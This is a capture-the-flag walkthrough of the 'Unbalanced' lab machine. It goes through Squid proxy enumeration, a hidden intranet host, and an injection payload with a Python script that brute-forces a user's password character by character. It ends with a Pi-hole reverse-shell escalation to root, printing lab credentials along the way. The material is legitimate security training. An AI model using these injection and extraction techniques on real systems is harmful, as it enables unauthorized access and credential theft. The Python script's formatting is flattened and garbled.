$ nmap -oN nmap.tcp.initial --min-rate 5000 -p- -v 10.10.10.200
PORT STATE SERVICE
22/tcp open ssh
873/tcp open rsync
3128/tcp open squid-http
$ nmap -oN nmap.tcp.unbalanced -p 22,873,3128 -sC -sV -T4 10.10.10.200
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a2:76:5c:b0:88:6f:9e:62:e8:83:51:e7:cf:bf:2d:f2 (RSA)
| 256 d0:65:fb:f6:3e:11:b1:d6:e6:f7:5e:c0:15:0c:0a:77 (ECDSA)
|_ 256 5e:2b:93:59:1d:49:28:8d:43:2c:c1:f7:e3:37:0f:83 (ED25519)
873/tcp open rsync (protocol version 31)
3128/tcp open http-proxy Squid http proxy 4.6
|_http-server-header: squid/4.6
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
PART 2 : PORT ENUMERATION
rsync seems to be open on port 873 and checking if there are any shared folders:
There is a shared folder named, conf_backups, which based on the description is probably an encrypted file share but it contains config files so some sort of credentials might be lying around somewhere.
There is a password explicitly written in the Squid Proxy config file. This makes sense being the name of the box is Unbalanced so this must be about a misconfigured load balancer or something as there is an http proxy setup at port 3128.
What was also listed beside the cachemgr_passwd password are the options we could explore in the Squid Proxy Cache Manager.
I wrote a simple python script in order to explore the cache manager:
$ python3 squid.py menu | grep protected
menu Cache Manager Menu protected
pconn Persistent Connection Utilization Histograms protected
mem Memory Utilization protected
diskd DISKD Stats protected
fqdncache FQDN Cache Stats and Contents protected
filedescriptors Process Filedescriptor Allocation protected
objects All Cache Objects protected
vm_objects In-Memory and In-Transit Objects protected
counters Traffic and Resource Counters protected
5min 5 Minute Average of Counters protected
60min 60 Minute Average of Counters protected
histograms Full Histogram Counts protected
cbdata Callback Data Registry Contents protected
sbuf String-Buffer statistics protected
events Event Queue protected
$ python3 squid.py fqdncache
[...OMITTED...]
Address Flg TTL Cnt Hostnames
127.0.1.1 H -001 2 unbalanced.htb unbalanced
::1 H -001 3 localhost ip6-localhost ip6-loopback
172.31.179.2 H -001 1 intranet-host2.unbalanced.htb
172.31.179.3 H -001 1 intranet-host3.unbalanced.htb
127.0.0.1 H -001 1 localhost
172.17.0.1 H -001 1 intranet.unbalanced.htb
ff02::1 H -001 1 ip6-allnodes
ff02::2 H -001 1 ip6-allrouters
There are three things interesting here — intranet.unbalanced.htb (172.17.0.1), intranet-host2.unbalanced.htb (172.31.179.2), and intranet-host3.unbalanced.htb (172.31.179.3).
Opening intranet.unbalanced.htb after setting up my proxy (Foxy Proxy) leads me to:
Examining the reponse headers using curl:
$ curl -I --proxy "http://10.10.10.200:3128" http://172.17.0.1
HTTP/1.1 302 Found
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 05 Dec 2020 22:12:03 GMT
Content-Type: text/html; charset=UTF-8
Location: intranet.php
Intranet-Host: intranet-host3.unbalanced.htb
X-Cache: MISS from unbalanced
X-Cache-Lookup: MISS from unbalanced:3128
Via: 1.1 unbalanced (squid/4.6)
Connection: keep-alive
The internal load balancer will either bring you to intranet-host2 or intranet-host3 which contains a login form and a contact form which doesn’t seem to do anything when you submit entries or fail to login.
But then you’ll notice something missing… what happened to intranet-host1? Since host2 is at 172.31.179.2 and host3 is at 172.31.179.3, maybe it’s at 172.31.179.1.
$ curl -I --proxy "http://10.10.10.200:3128" http://172.31.179.1
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 05 Dec 2020 22:38:45 GMT
Content-Type: text/html; charset=UTF-8
Intranet-Host: intranet-host1.unbalanced.htb
X-Cache: MISS from unbalanced
X-Cache-Lookup: MISS from unbalanced:3128
Via: 1.1 unbalanced (squid/4.6)
Connection: keep-alive
$ curl --proxy "http://10.10.10.200:3128" http://172.31.179.1
Host temporarily taken out of load balancing for security maintenance.
And it does exist but this time, when you go to /intranet.php and try to login, an error message now appears which was not apparent in the other hosted applications.
PART 3 : EXPLOITATION
After testing a simple SQL injection payload like ' or '1'='1, the form seems to be vulnerable as it returns a list of users and their respective roles. It is important to note that the form rejects capital letters so ' OR '1'='1 will not work. Comment characters also seem to be rejected.
Since we have an error message and given the limitations of the form, maybe it could be leveraged to extract passwords for the listed users. I’ll focus on bryan since he has the role of System Administrator.
I wrote another python script for this:
import requests as rtarget ="http://172.31.179.1/intranet.php"proxy ={"http":"http://10.10.10.200:3128"}char_set ="abcdefghihjklmnopqrstuvwxyz0123456789!@$%^&*()=_+,./<>?:"password =""whileTrue:for i in char_set: payload ={"Username":"bryan","Password":"' or substring(Password,{},1)='{}' or '".format(len(password)+1, i)} res = r.post(target, proxies=proxy, data=payload)if"bryan@unbalanced.htb"in res.text: password += iprint(password)breakif i == char_set[-1]:break
$ ssh -l bryan 10.10.10.200
The authenticity of host '10.10.10.200 (10.10.10.200)' can\'t be established.
ECDSA key fingerprint is SHA256:aiHhPmnhyt434Qvr9CpJRZOmU7m1R1LI29c11na1obY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.200' (ECDSA) to the list of known hosts.
bryan@10.10.10.200\'s password: ireallyl0vebubblegum!!!
bryan@unbalanced:~$ ls -la
-rw-r--r-- 1 bryan bryan 798 Jun 17 11:35 TODO
-rw-r--r-- 1 root root 33 Dec 5 14:18 user.txt
PART 5 : PRIVILEGE ESCALATION (bryan → root)
Examining the TODO file in bryan’s home directory:
bryan@unbalanced:~$ cat TODO
############
# Intranet #
############
* Install new intranet-host3 docker [DONE]
* Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE]
* Test intranet-host3 [DONE]
* Add intranet-host3 to load balancer [DONE]
* Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE]
* Fix intranet-host2 [DONE]
* Re-add intranet-host2 to load balancer (set default weight) [DONE]
- Fix intranet-host1 [TODO]
- Re-add intranet-host1 to load balancer (set default weight) [TODO]
###########
# Pi-hole #
###########
* Install Pi-hole docker (only listening on 127.0.0.1) [DONE]
* Set temporary admin password [DONE]
* Create Pi-hole configuration script [IN PROGRESS]
- Run Pi-hole configuration script [TODO]
- Expose Pi-hole ports to the network [TODO]
The file basically confirms the path to user where intranet-host1 is being troubleshooted but the important thing here is that there is a Pi-hole service running but is only available locally. It uses a temporary password so it’s probably insecure and new credentials may probably be found in the configuration script being created as of the moment.
There is an error when trying to access the service running at port 8080 locally but according to this Reddit thread, it seems like you can go directly to /admin/.
bryan@unbalanced:~$ curl -I http://127.0.0.1:8080/admin/
HTTP/1.1 200 OK
X-Pi-hole: The Pi-hole Web interface is working!
X-Frame-Options: DENY
Set-Cookie: PHPSESSID=icng7lp4cktfauu6lt26inrot0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8
Date: Sun, 06 Dec 2020 00:09:08 GMT
Server: lighttpd/1.4.45
The Pi-hole service can now be reached! However, it’s running via docker so I decided to look for an IP it might be running from and maybe access it via Squid Proxy. Looking back into the file, squid.conf:
Access to the IP range 172.16.0.0/12 (172.16.0.0 – 172.31.255.255) is allowed via the proxy and checking the interfaces available to the machine, I decided to do a ping sweep in the IP range, 172.31.0.1/16.
bryan@unbalanced:~$ ip a | grep "inet "
inet 127.0.0.1/8 scope host lo
inet 10.10.10.200/24 brd 10.10.10.255 scope global ens160
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
inet 172.31.0.1/16 brd 172.31.255.255 scope global br-742fc4eb92b1
bryan@unbalanced:~$ for x in {1..254}; do for y in {1..254}; do (ping -c1 172.31.$x.$y 2>/dev/null | grep "bytes from" &); done; done
64 bytes from 172.31.11.3: icmp_seq=1 ttl=64 time=0.248 ms
64 bytes from 172.31.179.2: icmp_seq=1 ttl=64 time=0.175 ms
64 bytes from 172.31.179.3: icmp_seq=1 ttl=64 time=0.148 ms
64 bytes from 172.31.179.1: icmp_seq=1 ttl=64 time=0.122 ms
Aside from the previous intranet hosts, there is a new host identified --172.31.11.3. Trying to access it via Squid Proxy leads you to:
Now going to the login page, and remembering that a temporary password is set for the admin account, I tried "admin" and it went through but there is not much to do so I search also for an exploit for the current version of Pi-hole being run.
Setting up the exploit — I forwarded the locally available service inside the machine since HTTP proxies are very unreliable when establishing reverse shells afterwhich I setup a listener via netcat in my machine:
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ hostname
pihole.unbalanced.htb
$ cd /root
$ ls -l
-rw-r--r-- 1 root root 113876 Sep 20 2019 ph_install.sh
-rw-r--r-- 1 root root 485 Apr 6 2020 pihole_config.sh
$ cat pihole_config.sh
#!/bin/bash
# Add domains to whitelist
/usr/local/bin/pihole -w unbalanced.htb
/usr/local/bin/pihole -w rebalanced.htb
# Set temperature unit to Celsius
/usr/local/bin/pihole -a -c
# Add local host record
/usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb 127.0.0.1
# Set privacy level
/usr/local/bin/pihole -a -l 4
# Set web admin interface password
/usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!'
# Set admin email
/usr/local/bin/pihole -a email admin@unbalanced.htb
The /root directory is readable and in there is the Pi-hole config file mentioned earlier. A new password is visible and maybe this could be used to su to root:
bryan@unbalanced:~$ su -
Password: bUbBl3gUm$43v3Ry0n3!
root@unbalanced:~# id
uid=0(root) gid=0(root) groups=0(root)
root@unbalanced:~# ls -l
-rw------- 1 root root 33 Dec 5 14:18 root.txt